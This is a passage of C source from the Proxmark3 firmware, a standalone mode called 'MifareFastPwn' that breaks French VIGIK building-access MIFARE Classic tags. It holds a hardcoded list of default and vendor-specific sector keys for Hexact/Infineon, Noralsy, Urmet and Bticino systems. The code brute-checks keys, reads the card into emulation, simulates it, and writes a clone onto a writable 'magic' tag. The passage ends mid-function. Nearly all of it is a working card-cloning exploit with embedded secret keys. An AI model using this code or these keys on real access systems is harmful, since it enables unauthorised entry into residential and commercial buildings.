proxmark3/armsrc/Standalone/hf_colin.c

768 lines
33 KiB
C
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

//-----------------------------------------------------------------------------
// Colin Brigato, 2016,2017
// Christian Herrmann, 2017
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// main code for HF Mifare aka ColinRun by Colin Brigato
//-----------------------------------------------------------------------------
#include "hf_colin.h"
#define MF1KSZ 1024
#define MF1KSZSIZE 64
#define FALSE false
#define TRUE true
#define AUTHENTICATION_TIMEOUT 848
uint8_t cjuid[10];
uint32_t cjcuid;
// Colin's VIGIKPWN sniff/simulate/clone repeat routine for HF Mifare
void RunMod() {
FpgaDownloadAndGo(FPGA_BITSTREAM_HF);
// bool printKeys = false;
// bool simulation = true; // Simulates an exact copy of the target tag
// bool fillFromEmulator = true; // Dump emulator memory.
// We should get rid of this sh;
// uint8_t blockNo = 3; // Security block is number 3 for each sector.
uint8_t sectorsCnt = (MF1KSZ / MF1KSZSIZE);
uint64_t key64; // Defines current key
uint8_t *keyBlock = NULL; // Where the keys will be held in memory.
/*
Set of keys to be used.
This should cover ~98% of
French VIGIK system @2017
*/
/* know number of known keys for standalone mode */
//#define STKEYS 35
#define STKEYS 35
const uint64_t mfKeys[STKEYS] = {
0xffffffffffff, // TRANSPORTS
0x000000000000, // Blankkey
0x484558414354, // INFINEONON A / 0F SEC B
0x414c41524f4e, // ALARON NORALSY
0x424c41524f4e, // BLARON NORALSY
0x8829da9daf76, // URMET CAPTIV IF A => ALL A/B
0xb0b1b2b3b4b5, // NA
0xaabbccddeeff, // NA
0x4d3a99c351dd, // NA
0x1a982c7e459a, // NA
0xd3f7d3f7d3f7, // NA
0x714c5c886e97, // NA
0x587ee5f9350f, // NA
0xa0478cc39091, // NA
0x533cb6c723f6, // NA
0x8fd0a4f256e9, // NA
0xa0a1a2a3a4a5, // PUBLIC BLOC0 BTICINO MAD ACCESS
0x021209197591, // BTCINO UNDETERMINED SPREAKD 0x01->0x13 key
0xa22ae129c013, // INFINEON B 00
0x49fae4e3849f, // INFINEON B 01
0x38fcf33072e0, // INFINEON B 02
0x8ad5517b4b18, // INFINEON B 03
0x509359f131b1, // INFINEON B 04
0x6c78928e1317, // INFINEON B 05
0xaa0720018738, // INFINEON B 06
0xa6cac2886412, // INFINEON B 07
0x62d0c424ed8e, // INFINEON B 08
0xe64a986a5d94, // INFINEON B 09
0x8fa1d601d0a2, // INFINEON B 0A
0x89347350bd36, // INFINEON B 0B
0x66d2b7dc39ef, // INFINEON B 0C
0x6bc1e1ae547d, // INFINEON B 0D
0x22729a9bd40f // INFINEON B 0E
};
/* Can remember something like that in case of Bigbuf */
keyBlock = BigBuf_malloc(STKEYS * 6);
int mfKeysCnt = sizeof(mfKeys) / sizeof(uint64_t);
for (int mfKeyCounter = 0; mfKeyCounter < mfKeysCnt; mfKeyCounter++) {
num_to_bytes(mfKeys[mfKeyCounter], 6, (uint8_t *)(keyBlock + mfKeyCounter * 6));
}
/* TODO : remember why we actually had need to initialize this array in such specific case
and why not a simple memset abuse to 0xffize the whole space in one go ? */
// uint8_t foundKey[2][40][6]; //= [ {0xff} ]; /* C99 abusal 6.7.8.21 */
uint8_t foundKey[2][40][6];
for (uint16_t t = 0; t < 2; t++) {
for (uint16_t sectorNo = 0; sectorNo < sectorsCnt; sectorNo++) {
// validKey[t][sectorNo] = false;
for (uint16_t i = 0; i < 6; i++) {
foundKey[t][sectorNo][i] = 0xff;
}
}
}
int key = -1;
// int block = 0;
bool err = 0;
bool trapped = 0;
bool allKeysFound = true;
uint32_t size = mfKeysCnt; /* whats the point for copy ? int should be
uint32_t in this case, same deal */
LED_A_OFF();
LED_B_OFF();
LED_C_OFF();
LED_D_OFF();
LED_A_ON();
Dbprintf("%s>>%s C.J.B's MifareFastPwn Started", _RED_, _WHITE_);
Dbprintf("...Waiting For Tag...");
iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN);
while (!iso14443a_select_card(cjuid, NULL, &cjcuid, true, 0, true)) {
WDT_HIT();
}
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
// SpinDelay(100);
SpinDelay(200);
// Dbprintf("Got tag : %02x%02x%02x%02x", at91stdio_explode(cjuid, &cjcuid));
Dbprintf("Got tag : %02x%02x%02x%02x", cjuid[0], cjuid[1], cjuid[2], cjuid[3]);
uint32_t end_time;
uint32_t start_time = end_time = GetTickCount();
/////////////////////////////////////////////////////////
// WE SHOULD FIND A WAY TO GET UID TO AVOID THIS "TESTRUN"
// HERE IS TO BE THOUGHT AS ONLY A KEY SHOULD BE CHECK
// THEN WE FILL EMULATOR WITH KEY
// WHEN WE FILL EMULATOR CARD WITH A KEY
// IF THERE IS ANY FAIL DURING ANY POINT, WE START BACK CHECKING B KEYS
// THEN FILL EMULATOR WITH B KEEY
// THEN EMULATOR WITH CARD WITH B KEY
// IF IT HAS FAILED OF ANY OF SORT THEN WE ARE MARRON LIKE POMALO.
// AN EVEN BETTER IMPLEMENTATION IS TO CHECK EVERY KEY FOR SECTOR 0 KEY A
// THEN IF FOUND CHECK THE SAME KEY FOR NEXT SECTOR ONLY KEY A
// THEN IF FAIL CHECK EVERY SECTOR A KEY FOR EVERY OTHER KEY BUT NOT THE BLOCK
// 0 KEY
// THEN TRY TO READ B KEYS FROM KNOWN A KEYS
// IF FAIL, CHECK SECTOR 0 B KEY WITH SECTOR 0 A KEY
// THEN IF FOUND CHECK EVERY SECTOR FOR SAME B KEY
// ELSE IF FAIL CHECK EVERY KEY FOR SECTOR 0 KEY B
// THEN IF FOUND CHECK SAME KEY FOR ONLY NEXT SECTOR KEY B (PROBABLE A KEY IS
// SAME FOR EVERY SECTOR AND B KEY IS SAME FOR EVERY SECTOR WITH JUST A vs B
// DERIVATION
// THEN IF B KEY IS NOT OF THIS SCHEME CHECK EVERY REMAINING B KEYED SECTOR
// WITH EVERY REMAINING KEYS, BUT DISCARDING ANY DEFAULT TRANSPORT KEYS.
/////////////////////////////////////////////////////
// also we could avoid first UID check for every block
/* then lets expose this “optimal case” of “well known vigik schemes” : */
for (uint8_t type = 0; type < 2 && !err && !trapped; type++) {
for (int sec = 0; sec < sectorsCnt && !err && !trapped; ++sec) {
key = cjat91_saMifareChkKeys(sec * 4, type, NULL, size, &keyBlock[0], &key64);
// key = saMifareChkKeys(sec * 4, type, NULL, size, &keyBlock[0], &key64);
if (key == -1) {
err = 1;
allKeysFound = false;
/* used in “portable” imlementation on microcontroller: it reports back the fail and open the standalone lock */
// cmd_send(CMD_CJB_FSMSTATE_MENU, 0, 0, 0, 0, 0);
break;
} else if (key == -2) {
err = 1; // Can't select card.
allKeysFound = false;
// cmd_send(CMD_CJB_FSMSTATE_MENU, 0, 0, 0, 0, 0);
break;
} else {
/* BRACE YOURSELF : AS LONG AS WE TRAP A KNOWN KEY, WE STOP CHECKING AND ENFORCE KNOWN SCHEMES */
uint8_t tosendkey[12];
num_to_bytes(key64, 6, foundKey[type][sec]);
Dbprintf("SEC: %d ; KEY : %012" PRIx64 " ; TYP: %i", sec, key64, type);
/*cmd_send(CMD_CJB_INFORM_CLIENT_KEY, 12, sec, type, tosendkey, 12);*/
switch (key64) {
/////////////////////////////////////////////////////////
// COMMON SCHEME 1 : INFINITRON/HEXACT
case 0x484558414354:
Dbprintf("%s>>>>>>>>>>>>!*STOP*!<<<<<<<<<<<<<<%s", _RED_, _WHITE_);
Dbprintf(" .TAG SEEMS %sDETERMINISTIC%s. ", _GREEN_, _WHITE_);
Dbprintf("%sDetected: %s INFI_HEXACT_VIGIK_TAG%s", _ORANGE_, _CYAN_, _WHITE_);
Dbprintf("...%s[%sKey_derivation_schemeTest%s]%s...", _YELLOW_, _GREEN_, _YELLOW_, _GREEN_);
Dbprintf("%s>>>>>>>>>>>>!*DONE*!<<<<<<<<<<<<<<%s", _GREEN_, _WHITE_);
;
// Type 0 / A first
uint16_t t = 0;
for (uint16_t sectorNo = 0; sectorNo < sectorsCnt; sectorNo++) {
num_to_bytes(0x484558414354, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
}
t = 1;
uint16_t sectorNo = 0;
num_to_bytes(0xa22ae129c013, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
sectorNo = 1;
num_to_bytes(0x49fae4e3849f, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
sectorNo = 2;
num_to_bytes(0x38fcf33072e0, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
sectorNo = 3;
num_to_bytes(0x8ad5517b4b18, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
sectorNo = 4;
num_to_bytes(0x509359f131b1, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
sectorNo = 5;
num_to_bytes(0x6c78928e1317, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
sectorNo = 6;
num_to_bytes(0xaa0720018738, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
sectorNo = 7;
num_to_bytes(0xa6cac2886412, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
sectorNo = 8;
num_to_bytes(0x62d0c424ed8e, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
sectorNo = 9;
num_to_bytes(0xe64a986a5d94, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
sectorNo = 10;
num_to_bytes(0x8fa1d601d0a2, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
sectorNo = 11;
num_to_bytes(0x89347350bd36, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
sectorNo = 12;
num_to_bytes(0x66d2b7dc39ef, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
sectorNo = 13;
num_to_bytes(0x6bc1e1ae547d, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
sectorNo = 14;
num_to_bytes(0x22729a9bd40f, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
sectorNo = 15;
num_to_bytes(0x484558414354, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
trapped = 1;
break;
////////////////END OF SCHEME 1//////////////////////////////
///////////////////////////////////////
// COMMON SCHEME 2 : URMET CAPTIVE / COGELEC!/?
case 0x8829da9daf76:
Dbprintf("%s>>>>>>>>>>>>!*STOP*!<<<<<<<<<<<<<<%s", _RED_, _WHITE_);
Dbprintf(" .TAG SEEMS %sDETERMINISTIC%s. ", _GREEN_, _WHITE_);
Dbprintf("%sDetected :%sURMET_CAPTIVE_VIGIK_TAG%s", _ORANGE_, _CYAN_, _WHITE_);
Dbprintf("...%s[%sKey_derivation_schemeTest%s]%s...", _YELLOW_, _GREEN_, _YELLOW_, _GREEN_);
Dbprintf("%s>>>>>>>>>>>>!*DONE*!<<<<<<<<<<<<<<%s", _GREEN_, _WHITE_);
// emlClearMem();
// A very weak one...
for (uint16_t t = 0; t < 2; t++) {
for (uint16_t sectorNo = 0; sectorNo < sectorsCnt; sectorNo++) {
num_to_bytes(key64, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
}
}
trapped = 1;
break;
////////////////END OF SCHEME 2//////////////////////////////
///////////////////////////////////////
// COMMON SCHEME 3 : NORALSY "A-LARON & B-LARON . . . NORAL-B & NORAL-A"
case 0x414c41524f4e: // Thumbs up to the guy who had the idea of such a "mnemotechnical" key pair
case 0x424c41524f4e:
Dbprintf("%s>>>>>>>>>>>>!*STOP*!<<<<<<<<<<<<<<%s", _RED_, _WHITE_);
Dbprintf(" .TAG SEEMS %sDETERMINISTIC%s. ", _GREEN_, _WHITE_);
Dbprintf("%s Detected :%sNORALSY_VIGIK_TAG %s", _ORANGE_, _CYAN_, _WHITE_);
Dbprintf("...%s[%sKey_derivation_schemeTest%s]%s...", _YELLOW_, _GREEN_, _YELLOW_, _GREEN_);
Dbprintf("%s>>>>>>>>>>>>!*DONE*!<<<<<<<<<<<<<<%s", _GREEN_, _WHITE_);
;
t = 0;
for (uint16_t sectorNo = 0; sectorNo < sectorsCnt; sectorNo++) {
num_to_bytes(0x414c41524f4e, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
;
}
t = 1;
for (uint16_t sectorNo = 0; sectorNo < sectorsCnt; sectorNo++) {
num_to_bytes(0x424c41524f4e, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
}
trapped = 1;
break;
////////////////END OF SCHEME 3//////////////////////////////
}
/* etc etc for testing schemes quick schemes */
}
}
}
if (!allKeysFound) {
// cmd_send(CMD_CJB_FSMSTATE_MENU, 0, 0, 0, 0, 0);
Dbprintf("%s>> FAIL : did not found all the keys :'(%s", _RED_, _WHITE_);
return;
}
/* Settings keys to emulator */
emlClearMem();
uint8_t mblock[16];
for (uint8_t sectorNo = 0; sectorNo < sectorsCnt; sectorNo++) {
emlGetMem(mblock, FirstBlockOfSector(sectorNo) + NumBlocksPerSector(sectorNo) - 1, 1);
for (uint8_t t = 0; t < 2; t++) {
memcpy(mblock + t * 10, foundKey[t][sectorNo], 6);
}
emlSetMem(mblock, FirstBlockOfSector(sectorNo) + NumBlocksPerSector(sectorNo) - 1, 1);
}
Dbprintf("%s>>%s Setting Keys->Emulator MEM...[%sOK%s]", _YELLOW_, _WHITE_, _GREEN_, _WHITE_);
/* filling TAG to emulator */
uint8_t filled = 0;
Dbprintf("%s>>%s Filling Emulator <- from A keys...", _YELLOW_, _WHITE_);
e_MifareECardLoad(sectorsCnt, 0, 0, &filled);
if (filled != 1) {
Dbprintf("%s>>%s W_FAILURE ! %sTrying fallback B keys....", _RED_, _ORANGE_, _WHITE_);
/* no trace, no dbg */
e_MifareECardLoad(sectorsCnt, 1, 0, &filled);
if (filled != 1) {
Dbprintf("FATAL:EML_FALLBACKFILL_B");
// cmd_send(CMD_CJB_FSMSTATE_MENU, 0, 0, 0, 0, 0);
return;
}
}
end_time = GetTickCount();
Dbprintf("%s>>%s Time for VIGIK break :%s%dms%s", _GREEN_, _WHITE_, _YELLOW_, end_time - start_time, _WHITE_);
// cmd_send(CMD_CJB_FSMSTATE_MENU, 0, 0, 0, 0, 0);
// SIM ?
Dbprintf("-> We launch Emulation ->");
Dbprintf("%s HOLD ON : %s When you'll click, simm will stop", _RED_, _WHITE_);
Dbprintf("Then %s immediately %s Well' try to %s dump our emulator state%s in a %s chinese tag%s", _RED_, _WHITE_, _YELLOW_, _WHITE_, _CYAN_, _WHITE_);
Dbprintf("SimulaWaiting...");
Mifare1ksim(0, 0, 0, NULL);
Dbprintf("<- We're out of Emulation");
// END SIM
/*for (;;) {
WDT_HIT();
int button_action = BUTTON_HELD(500);
if (button_action == 0) { // No button action, proceed with sim
SpinDelay(100);
WDT_HIT();
} else if (button_action == BUTTON_SINGLE_CLICK) {
*/
Dbprintf("Trying a clone !");
saMifareMakeTag();
Dbprintf("End Cloning.");
WDT_HIT();
// break;
/*} else if (button_action == BUTTON_HOLD) {
Dbprintf("Playtime over. Begin cloning...");
iGotoClone = 1;
break;
}*/
// Debunk...
// SpinDelay(300);
Dbprintf("Endof Standalone ! You can take shell back");
return;
}
/*
case CMD_SIMULATE_MIFARE_CARD:
Dbprintf("-> We launch Emulation ->");
Mifare1ksim(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes);
Dbprintf("<- We're out of Emulation");
break;
case CMD_CJB_EML_MEMGET:
CJBEMemGet(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes);
break;
// Work with "magic Chinese" card
case CMD_MIFARE_CSETBLOCK:
MifareCSetBlock(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes);
break;
case CMD_MIFARE_CGETBLOCK:
MifareCGetBlock(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes);
break;
case CMD_MIFARE_CIDENT:
MifareCIdent();
break;
// Work with "magic Chinese" card
case CMD_MIFARE_CSETBLOCK:
MifareCSetBlock(c->arg[0], c->arg[1], c->d.asBytes);
break;
case CMD_MIFARE_CGETBLOCK:
MifareCGetBlock(c->arg[0], c->arg[1], c->d.asBytes);
break;
case CMD_MIFARE_CIDENT:
MifareCIdent();
break;
*/
/* Abusive microgain on original MifareECardLoad :
* - *datain used as error return
* - tracing is falsed
*/
void e_MifareECardLoad(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain) {
MF_DBGLEVEL = MF_DBG_NONE;
uint8_t numSectors = arg0;
uint8_t keyType = arg1;
uint64_t ui64Key = 0;
// uint32_t cuid;
struct Crypto1State mpcs = {0, 0};
struct Crypto1State *pcs;
pcs = &mpcs;
byte_t dataoutbuf[16];
byte_t dataoutbuf2[16];
// uint8_t uid[10];
LED_A_ON();
LED_B_OFF();
LED_C_OFF();
iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN);
clear_trace();
set_tracing(false);
bool isOK = true;
iso14443a_fast_select_card(cjuid, 0);
/* if (!iso14443a_select_card(uid, NULL, &cuid, true, 0, true)) {
isOK = false;
if (MF_DBGLEVEL >= 1)
Dbprintf("Can't select card");
}*/
for (uint8_t sectorNo = 0; isOK && sectorNo < numSectors; sectorNo++) {
ui64Key = emlGetKey(sectorNo, keyType);
if (sectorNo == 0) {
if (isOK && mifare_classic_auth(pcs, cjcuid, FirstBlockOfSector(sectorNo), keyType, ui64Key, AUTH_FIRST)) {
isOK = false;
if (MF_DBGLEVEL >= 1)
Dbprintf("Sector[%2d]. Auth error", sectorNo);
break;
}
} else {
if (isOK && mifare_classic_auth(pcs, cjcuid, FirstBlockOfSector(sectorNo), keyType, ui64Key, AUTH_NESTED)) {
isOK = false;
if (MF_DBGLEVEL >= 1)
Dbprintf("Sector[%2d]. Auth nested error", sectorNo);
break;
}
}
for (uint8_t blockNo = 0; isOK && blockNo < NumBlocksPerSector(sectorNo); blockNo++) {
if (isOK && mifare_classic_readblock(pcs, cjcuid, FirstBlockOfSector(sectorNo) + blockNo, dataoutbuf)) {
isOK = false;
if (MF_DBGLEVEL >= 1)
Dbprintf("Error reading sector %2d block %2d", sectorNo, blockNo);
break;
};
if (isOK) {
*datain = 1;
if (blockNo < NumBlocksPerSector(sectorNo) - 1) {
emlSetMem(dataoutbuf, FirstBlockOfSector(sectorNo) + blockNo, 1);
} else { // sector trailer, keep the keys, set only the AC
emlGetMem(dataoutbuf2, FirstBlockOfSector(sectorNo) + blockNo, 1);
memcpy(&dataoutbuf2[6], &dataoutbuf[6], 4);
emlSetMem(dataoutbuf2, FirstBlockOfSector(sectorNo) + blockNo, 1);
}
} else {
*datain = 0;
}
}
}
if (mifare_classic_halt(pcs, cjcuid)) {
if (MF_DBGLEVEL >= 1)
Dbprintf("Halt error");
};
// ----------------------------- crypto1 destroy
crypto1_destroy(pcs);
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
LEDsoff();
if (MF_DBGLEVEL >= 2)
DbpString("EMUL FILL SECTORS FINISHED");
}
/* . . . */
/* the chk function is a piwied(tm) check that will try all keys for
a particular sector. also no tracing no dbg */
int cjat91_saMifareChkKeys(uint8_t blockNo, uint8_t keyType, bool clearTrace, uint8_t keyCount, uint8_t *datain, uint64_t *key) {
MF_DBGLEVEL = MF_DBG_NONE;
iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN);
set_tracing(false);
uint8_t uid[10];
uint32_t cuid;
struct Crypto1State mpcs = {0, 0};
struct Crypto1State *pcs;
pcs = &mpcs;
// byte_t isOK = 0;
for (int i = 0; i < keyCount; ++i) {
LEDsoff();
/* no need for anticollision. just verify tag is still here */
if (!iso14443a_fast_select_card(cjuid, 0)) {
// if (!iso14443a_select_card(uid, NULL, &cuid, true, 0, true)) {
Dbprintf("FATAL : E_MF_LOSTTAG");
return -1;
}
uint64_t ui64Key = bytes_to_num(datain + i * 6, 6);
if (mifare_classic_auth(pcs, cjcuid, blockNo, keyType, ui64Key, AUTH_FIRST)) {
uint8_t dummy_answer = 0;
ReaderTransmit(&dummy_answer, 1, NULL);
// wait for the card to become ready again
SpinDelayUs(AUTHENTICATION_TIMEOUT);
continue;
}
LED_A_ON();
crypto1_destroy(pcs);
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
*key = ui64Key;
return i;
}
LED_A_ON();
crypto1_destroy(pcs);
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
return -1;
}
void saMifareMakeTag(void) {
// uint8_t cfail = 0;
Dbprintf(">> Write to Special");
int flags = 0;
LED_A_ON(); // yellow
for (int blockNum = 0; blockNum < 16 * 4; blockNum++) {
uint8_t mblock[16];
// cnt = 0;
emlGetMem(mblock, blockNum, 1);
// switch on field and send magic sequence
if (blockNum == 0)
flags = 0x08 + 0x02;
// just write
if (blockNum == 1)
flags = 0;
// Done. Magic Halt and switch off field.
if (blockNum == 16 * 4 - 1)
flags = 0x04 + 0x10;
if (saMifareCSetBlock(0, flags & 0xFE, blockNum, mblock)) { //&& cnt <= retry) {
// cnt++;
Dbprintf("Block :%d %sOK%s", blockNum, _GREEN_, _WHITE_);
// Dbprintf("FATAL:E_MF_CHINESECOOK_NORICE");
// cfail=1;
// return;
continue;
} else {
Dbprintf("%sFAIL%s : CHN_FAIL_BLK_%d_NOK", _RED_, _WHITE_, blockNum);
break;
}
Dbprintf("%s>>>>>>>> END <<<<<<<<%s", _YELLOW_, _WHITE_);
// break;
/*if (cfail == 1) {
Dbprintf("FATAL: E_MF_HARA_KIRI_\r\n");
break;
} */
}
}
//-----------------------------------------------------------------------------
// Matt's StandAlone mod.
// Work with "magic Chinese" card (email him: ouyangweidaxian@live.cn)
//-----------------------------------------------------------------------------
int saMifareCSetBlock(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain) {
// params
uint8_t needWipe = arg0;
// bit 0 - need get UID
// bit 1 - need wupC
// bit 2 - need HALT after sequence
// bit 3 - need init FPGA and field before sequence
// bit 4 - need reset FPGA and LED
uint8_t workFlags = arg1;
uint8_t blockNo = arg2;
// card commands
uint8_t wupC1[] = {0x40};
uint8_t wupC2[] = {0x43};
uint8_t wipeC[] = {0x41};
// variables
byte_t isOK = 0;
uint8_t uid[10] = {0x00};
uint8_t d_block[18] = {0x00};
uint32_t cuid;
uint8_t receivedAnswer[MAX_MIFARE_FRAME_SIZE];
uint8_t receivedAnswerPar[MAX_MIFARE_PARITY_SIZE];
// reset FPGA and LED
if (workFlags & 0x08) {
LED_A_ON();
LED_B_OFF();
LED_C_OFF();
iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN);
// clear_trace();
set_tracing(FALSE);
}
while (true) {
// get UID from chip
if (workFlags & 0x01) {
if (!iso14443a_fast_select_card(cjuid, 0)) {
// if (!iso14443a_select_card(uid, NULL, &cuid, true, 0, true)) {
if (MF_DBGLEVEL >= 1)
Dbprintf("Can't select card");
break;
};
if (mifare_classic_halt(NULL, cjcuid)) {
if (MF_DBGLEVEL >= 1)
Dbprintf("Halt error");
break;
};
};
// reset chip
if (needWipe) {
ReaderTransmitBitsPar(wupC1, 7, 0, NULL);
if (!ReaderReceive(receivedAnswer, receivedAnswerPar) || (receivedAnswer[0] != 0x0a)) {
// if (MF_DBGLEVEL >= 1)
Dbprintf("wupC1 error");
break;
};
ReaderTransmit(wipeC, sizeof(wipeC), NULL);
if (!ReaderReceive(receivedAnswer, receivedAnswerPar) || (receivedAnswer[0] != 0x0a)) {
if (MF_DBGLEVEL >= 1)
Dbprintf("wipeC error");
break;
};
if (mifare_classic_halt(NULL, cjcuid)) {
if (MF_DBGLEVEL >= 1)
